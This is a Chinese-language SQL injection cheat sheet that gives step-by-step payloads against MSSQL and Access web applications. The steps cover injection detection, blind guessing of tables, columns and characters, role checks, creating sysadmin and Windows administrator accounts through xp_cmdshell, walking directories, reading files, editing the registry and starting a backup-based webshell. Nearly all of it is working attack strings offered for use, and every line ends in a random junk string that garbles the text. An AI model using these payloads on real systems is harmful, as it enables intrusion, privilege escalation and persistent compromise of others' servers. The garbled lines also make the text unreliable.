1.判断是否有注入;and 1=1 ;and 1=2 9e`};DE
2.初步判断是否是mssql ;and user>0 xBxiBhqzF
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3.注入参数是字符'and [查询条件] and ''=' @xdtl{5G
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' w&H>`l06
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5.判断数据库系统 @Dsw.@/
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;and (select count(*) from sysobjects)>0 mssql 7fypUQ:y
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;and (select count(*) from msysobjects)>0 access eg*a Vb
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 ).jQ+XE'>
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 vGsAM*vw6
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 r
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9.(1)猜字段的ascii值(access) !4cCq_
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 CP9 Q|'oJ
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(2)猜字段的ascii值(mssql) y$fMMAN7
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ^"<Bk<b(
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10.测试权限结构(mssql) 2<UC^vZ
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- FUSe!f
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- $'CS/U`E}
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 4j0;okQWV'
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- g
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- XPrnQJ
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- F}mt
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;and 1=(select IS_MEMBER('db_owner'));-- E2}X[EoBF
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11.添加mssql和系统的帐户 9?sY!gXc
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;exec master.dbo.sp_addlogin username;-- sE]z.Po=
;exec master.dbo.sp_password null,username,password;-- N68]r3/K
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 5hEA/G
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;exec master.dbo.xp_cmdshell 'net user username password x2fqfrr_]
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- f8K0/z
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- z{BgAI,
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- uUp>N^mmVH
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12.(1)遍历目录 ]4c*Nh%8
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;create table dirs(paths varchar(100), id int) Q& d;UVp
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;insert dirs exec master.dbo.xp_dirtree 'c:\' ;xh.95BP`
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;and (select top 1 paths from dirs)>0 a%m>v,
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) A+Un(tU2(
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(2)遍历目录 6E^m*la%
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- "<egm^Yq
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 JI-.SR
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 zO9WqP_`iR
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 |R91|-H
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 iX2exJto
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13.mssql中的存储过程 OP(om$xm
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xp_regenumvalues 注册表根键, 子键 o6x8jz
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 u9q#L.Ij
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xp_regread 根键,子键,键值名 (@BB@G
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 6L~5qbQ
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xp_regwrite 根键,子键, 值名, 值类型, 值 \qW^AD(it<
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 l9%ckC*q
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 3# 0Nd"/0
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xp_regdeletevalue 根键,子键,值名 /&=y_%VR
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 %Y.@AiViz
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 6ypHH
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14.mssql的backup创建webshell j~in%|^
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use model W`#E[g?]
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create table cmd(str image); HD$r<bl
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insert into cmd(str) values (''); W+V &